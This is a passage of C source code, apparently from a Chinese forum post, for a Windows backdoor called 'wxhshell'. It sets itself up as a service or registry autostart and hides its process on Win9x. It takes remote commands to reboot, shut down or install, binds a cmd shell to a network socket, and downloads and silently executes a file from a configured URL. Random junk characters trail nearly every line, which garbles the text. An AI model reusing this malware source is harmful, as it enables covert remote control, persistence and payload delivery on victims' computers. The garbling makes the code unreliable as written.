      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C?m2R(RF  
    break; w$8Su:g=  
  } bYQvh/(J  
  // 安装 0F> ils  
  case 'i': { "c` $U]M%  
    if(Install()) W{:^P0l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /I}#0}  
    else :_V9Jwu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~o_0RB  
    break; >uT,Z,7O  
    } KM li!.(b  
  // 卸载 k%Dpy2uH  
  case 'r': { nb dm@   
    if(Uninstall()) +A%|.;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + 2 v6fan  
    else 15dhr]8E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yci>'$tQ  
    break; 'Dw+k;RH  
    } F|pM$Kd`  
  // 显示 wxhshell 所在路径 2*;qr|h,  
  case 'p': { $2uk;&"?A=  
    char svExeFile[MAX_PATH]; @i2"+_}*  
    strcpy(svExeFile,"\n\r"); Y1fcp_]m  
      strcat(svExeFile,ExeFile); 3'tcEFkH  
        send(wsh,svExeFile,strlen(svExeFile),0); _#32hAI  
    break; N$]B$vv  
    } eA q/[(  
  // 重启 Nc;cb  
  case 'b': { d1CQ;,Df<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9#l3  
    if(Boot(REBOOT)) c IK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %d?.v_Hu0  
    else { S;@nPzhc  
    closesocket(wsh); N~NUBEKcp  
    ExitThread(0); 9#(Nd, m})  
    } *{WhUHZF  
    break; d8D028d  
    } "[h9hoN  
  // 关机 tSibz l~  
  case 'd': { "y~tAg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fghw\\]3  
    if(Boot(SHUTDOWN)) )&/ecx"2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oP >+2.i  
    else { $fifx>!  
    closesocket(wsh); EZs"?A  
    ExitThread(0); s1 mKz0q  
    } qFQO1"mu  
    break; bmCp:6  
    } m8[XA!,  
  // 获取shell xf2|9Tqt  
  case 's': { FgwIOpqE*  
    CmdShell(wsh); $[f-{B{>*  
    closesocket(wsh); 7slpj8  
    ExitThread(0); Cp"a,%b6u  
    break; 7)Cn 4{B6  
  } )+Gw Yt  
  // 退出 %lsRj)n  
  case 'x': { 7:/gO~g I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <|-da&7  
    CloseIt(wsh); T)c<tIr6  
    break; Xz,fjKUnN  
    } _(7f0p  
  // 离开 j xc^OsYj  
  case 'q': { _:+hB9n s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p~Wy`g-  
    closesocket(wsh);  'ug:ic  
    WSACleanup(); deLLqdZa  
    exit(1); w'uB&z4'  
    break; 6W\G i>  
        } LX'z7fh  
  } m&MAA^I  
  } &&PXWR!%]  
lcVZ 32MQ  
  // 提示信息 uH{oJSrK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %eOO8^N  
} n2A ; `=  
  } k\76`!B  
}G/!9Zq  
  return; X'uQr+p^  
} <aQ<Wy=\  
RCqd2$K"J+  
// shell模块句柄 A3mvd-k  
int CmdShell(SOCKET sock) ?3 S{>+'  
{ )4#YS$B$@)  
STARTUPINFO si; )JrG`CvdU  
ZeroMemory(&si,sizeof(si)); %_@T'!]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &J?:wC=E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /hN;\Z[@  
PROCESS_INFORMATION ProcessInfo; v<3KxP'a  
char cmdline[]="cmd"; =h\unQ1T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'MgYSP<  
  return 0; c/DK31K  
} Fy 1- >~  
&+5ij;AD  
// 自身启动模式 Q Yg V[\&  
int StartFromService(void) C4aAPkcp2$  
{ xyD2<?dGUb  
typedef struct $c {fPFe-  
{ ~&< Ls  
  DWORD ExitStatus; g@2KnzD  
  DWORD PebBaseAddress; E1j3c :2  
  DWORD AffinityMask; 9?iA~r|+  
  DWORD BasePriority; 5szJ.!(  
  ULONG UniqueProcessId; \ )WS^KR%  
  ULONG InheritedFromUniqueProcessId; 6H1;Hl f  
}   PROCESS_BASIC_INFORMATION; F|jl=i  
ri Z :#I  
PROCNTQSIP NtQueryInformationProcess; N7u|< 0[  
>[2;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  j iejs*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W3zYE3DZf  
h! Bg} B~  
  HANDLE             hProcess; eDsB.^|l  
  PROCESS_BASIC_INFORMATION pbi; >PzZt8e  
pZcY[a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Zfm4Nx "  
  if(NULL == hInst ) return 0; 1xEFMHjy  
\E=MV~:R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k|,Y_h0Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _\.4ofK(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ht:\ z;cu  
jF@BWPtF=  
  if (!NtQueryInformationProcess) return 0; JZdRAL2#v  
}Y^o("c(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q=6 1.lP6  
  if(!hProcess) return 0; _N {4Rs0  
%8H$62w]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uPq@6,+  
to'CuPkT  
  CloseHandle(hProcess); )@ofczl6  
jddhX]>I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q3v v^~  
if(hProcess==NULL) return 0; G6.lRaPu"m  
"F =NDF  
HMODULE hMod; -{}h6r  
char procName[255]; y/E:6w  
unsigned long cbNeeded; 7},oY"" 8  
i)$P1h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jGi{:}`lB  
0l3[?YtXc  
  CloseHandle(hProcess); $4mCtonP=  
Xj{gyLs  
if(strstr(procName,"services")) return 1; // 以服务启动 1eywnOjrj  
t`="2$NO  
  return 0; // 注册表启动 &~Y%0&F,&  
} qm"SN<2S*  
!Rc %  
// 主模块 cQ]c!G|a4  
int StartWxhshell(LPSTR lpCmdLine) k'_f?_PBu  
{ *MS$C$HOq  
  SOCKET wsl; r.'xqzF/  
BOOL val=TRUE; @ x .`z  
  int port=0; n5%\FFG0M  
  struct sockaddr_in door; c`/VYgcTqB  
Rc:}%a%e  
  if(wscfg.ws_autoins) Install(); >|z:CX$]  
Do77V5  
port=atoi(lpCmdLine); :tbgX;tCs5  
q 'd]  
if(port<=0) port=wscfg.ws_port; ]ag{sU@#  
Q5}XD  
  WSADATA data; s1E 0atT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tfe]=_U  
",&QO 7_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F b?^+V]9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (3K3)0fy  
  door.sin_family = AF_INET; &l0K~7)b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _|4R^*/ 4  
  door.sin_port = htons(port); /@|iI<|  
Vz$xV!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %*szB$ [3  
closesocket(wsl); L}CU"  
return 1; 8{=|<  
} O PzudO  
4D2U,Ds  
  if(listen(wsl,2) == INVALID_SOCKET) { OX'V  
closesocket(wsl); Y6&v&dA;  
return 1; 2Mk;r*FT  
} tT!' qL.*  
  Wxhshell(wsl); bZ1*:k2  
  WSACleanup(); 7)]boW~Q  
AmHj\NX$  
return 0; (~eS$8>.  
6lCpf1>6@  
} jC_'6sc`  
24nNRTI  
// 以NT服务方式启动 :o' |%JE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wgIm{;T[u  
{ #Lpw8b6  
DWORD   status = 0; f] #\&"  
  DWORD   specificError = 0xfffffff; u178vby;l  
Ovc9x\N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JH{/0x#+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "5L?RkFi\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >t.Lc.  
  serviceStatus.dwWin32ExitCode     = 0; {?`7D:]`^  
  serviceStatus.dwServiceSpecificExitCode = 0; =y-yHRC7  
  serviceStatus.dwCheckPoint       = 0; .SjJG67OyA  
  serviceStatus.dwWaitHint       = 0; \#(1IC`as  
NuPlrCy;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 26g]_Igq  
  if (hServiceStatusHandle==0) return; (_|*&au J  
haBmwq(f  
status = GetLastError(); ,|d9lK`"P  
  if (status!=NO_ERROR) I]` RvT  
{ |YsR;=6wT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :P}3cl_  
    serviceStatus.dwCheckPoint       = 0; :Rb\Ca  
    serviceStatus.dwWaitHint       = 0; j &,Gv@  
    serviceStatus.dwWin32ExitCode     = status; {N>ju  
    serviceStatus.dwServiceSpecificExitCode = specificError; {=3A@/vM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zwZvKV/g  
    return; #lrwKHZ+  
  } X+ITW#  
2zqaR[C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l>K+4  
  serviceStatus.dwCheckPoint       = 0; cN0 *<  
  serviceStatus.dwWaitHint       = 0; <wk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6`O,mpPu4G  
} ,IyQmN y  
( ne[a2%>  
// 处理NT服务事件,比如:启动、停止 {iX#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ". tW5O>  
{ |dLr #+'az  
switch(fdwControl) wYf\!]}'  
{ . 2$J-<O  
case SERVICE_CONTROL_STOP: 5PO_qr= Hx  
  serviceStatus.dwWin32ExitCode = 0; JyZuj>` 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o *J*} y  
  serviceStatus.dwCheckPoint   = 0; Vt(Wy  
  serviceStatus.dwWaitHint     = 0; q@~g.AMCB  
  { F<k+>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$W1wb9z  
  } jcJ 4?  
  return; U@NCN2 I  
case SERVICE_CONTROL_PAUSE: ?)|}gr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <4LJ #Fx  
  break; z )'9[t  
case SERVICE_CONTROL_CONTINUE: h40;Q<D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ##6\~!P  
  break; .p! DVQ"a  
case SERVICE_CONTROL_INTERROGATE: P !i_?M  
  break; ;Y\LsmZ;F  
}; "G [Nb:,CR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wHbkF#[:i  
} wx*?@f>u^  
V?j,$LixY  
// 标准应用程序主函数 6 X~><r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8In\Jo$|q>  
{ |-x-CSN  
n"htx|v  
// 获取操作系统版本 OW@%H;b  
OsIsNt=GetOsVer(); 9$\s v5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g8N"-j&@  
ksC_F8Q+  
  // 从命令行安装 aO(PVS|P  
  if(strpbrk(lpCmdLine,"iI")) Install(); D+3?p  
xT"V9t[f  
  // 下载执行文件 QCW4gIp  
if(wscfg.ws_downexe) { 9>&zOITTaL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bI &<L O  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nu6NyYs  
} ?Z 2,?G  
iSCkV2  
if(!OsIsNt) { `-uE(qp  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^wolY0p  
HideProc(); S/XU4i:aV  
StartWxhshell(lpCmdLine); &`I(QY  
} rJ Jx8)M  
else Cjf[]aNJe`  
  if(StartFromService()) 9VxM1-8Gs  
  // 以服务方式启动 p-}X=O$  
  StartServiceCtrlDispatcher(DispatchTable); oh8:1E,I  
else @e)}#kN.  
  // 普通方式启动 f256;3n  
  StartWxhshell(lpCmdLine); X%'z  
"@&TC"YG0  
return 0; <2U@O` gC  
}
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只看该作者 1 发表于: 2006-10-10
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